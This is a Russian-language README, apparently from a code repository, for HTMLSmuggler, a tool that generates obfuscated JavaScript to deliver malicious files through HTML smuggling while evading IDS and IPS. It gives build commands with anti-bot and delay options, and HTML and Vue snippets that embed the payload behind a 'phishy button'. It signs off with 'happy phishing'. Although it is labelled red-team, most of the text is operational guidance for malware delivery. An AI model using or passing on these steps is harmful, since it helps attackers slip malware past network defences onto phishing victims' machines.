
✉️ Генератор и обфускатор HTML-контрабанды для операций вашей Red Team
HTMLSmuggler — генератор JS-полезной нагрузки для обхода IDS и доставки полезной нагрузки через HTML smuggling.
Полное объяснение того, что такое HTML Smuggling, можно найти здесь.
Основная цель HTML smuggling — обход средств сетевой защиты, таких как брандмауэры и системы обнаружения вторжений, путем маскировки вредоносных полезных нагрузок (например, исполняемых файлов/архивов и т.д.) внутри, казалось бы, безвредного HTML и JavaScript кода. Используя динамическую природу веб-приложений, злоумышленники могут доставлять вредоносное содержимое в браузер пользователя, не вызывая срабатывания средств безопасности и не будучи обнаруженными традиционными механизмами защиты. Благодаря этой технике, загрузка вредоносного файла никак не отображается в современных решениях IDS.
Основная цель инструмента HTMLSmuggler — создание независимой javascript-библиотеки со встроенной определяемой пользователем вредоносной полезной нагрузкой. Эта библиотека может быть интегрирована в ваши фишинговые сайты/HTML-вложения электронной почты и т.д. для доставки встроенной полезной нагрузки в систему целевого пользователя (в обход систем IDS и IPS). Пример созданной javascript-библиотеки можно найти здесь.
Установите менеджер пакетов yarn.
Установите зависимости:
yarn
Прочитайте справку:
yarn build -h
Options:
-p, --payload <string> Путь к файлу полезной нагрузки, которую вы хотите скрытно передать
-n, --name <string> Имя файла, который будет загружен
-t, --type <string> Content-Type загружаемого файла (по умолчанию: "application/octet-stream")
-f, --function <string> Имя экспортируемой функции (по умолчанию: "download")
-c, --compress Включить сжатие полезной нагрузки (gzip)
-d, --delay <number> Задержка перед антиботом и загрузкой в мс (по умолчанию: 0)
-a, --antibot Включить обнаружение ботов и блокировать их (рекомендуется)
-h, --help отобразить справку по команде
(Необязательно) Измените настройки javascript-obfuscator в obfuscator.js; моя предустановка хороша, но очень медленная.
Скомпилируйте вашу javascript-полезную нагрузку:
⚠️ ИЗБЕГАЙТЕ ИСПОЛЬЗОВАНИЯ ПОЛЕЗНЫХ НАГРУЗОК РАЗМЕРОМ БОЛЕЕ 3 МиБ (см. FAQ)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
Получите вашу полезную нагрузку из dist/payload.esm.js или dist/payload.umd.js. После этого её можно вставить на вашу страницу и вызвать с помощью функции download() (или указанной с помощью флага -f).
payload.esm.jsиспользуется в импортах видаimport { download } from 'payload.esm';(стандарт ECMAScript).
payload.umd.jsиспользуется в html-тегах script SRC и импортах видаrequire('payload.umd');(CommonJS, AMD и чистый html).
Полный пример можно найти здесь.
Выполните шаги подготовки.
Импортируйте созданный скрипт в html-файл (или вставьте его встроенно):
<head>
<script src="payload.umd.js"></script>
</head>
Вызовите функцию download() из тела:
<body>
<button onclick="download()">Some phishy button</button>
</body>
Удачного фишинга :)
Полный пример можно найти здесь.
Выполните шаги подготовки.
Импортируйте созданный скрипт в vue-файл:
<script>
import { download } from './payload.esm';
</script>
Вызовите функцию download():
<template>
<button @click="download()">Some phishy button</button>
</template>
Удачного фишинга :)
В: У меня возникает ошибка RangeError: Maximum call stack size exceeded, как её решить?
О: Эта проблема описана здесь. Чтобы исправить её, попробуйте отключить splitStrings в obfuscator.js или уменьшить полезную нагрузку (из-за этой проблемы рекомендуется использовать полезные нагрузки размером до 2 МБ).
В: Почему сборка моей полезной нагрузки занимает так много времени?
О: Чем больше полезная нагрузка, тем дольше создается JS-файл. Чтобы уменьшить время сборки, попробуйте отключить splitStrings в obfuscator.js. Ниже приведена таблица с примерным временем сборки при использовании стандартного obfuscator.js.
| Размер полезной нагрузки | Время сборки |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |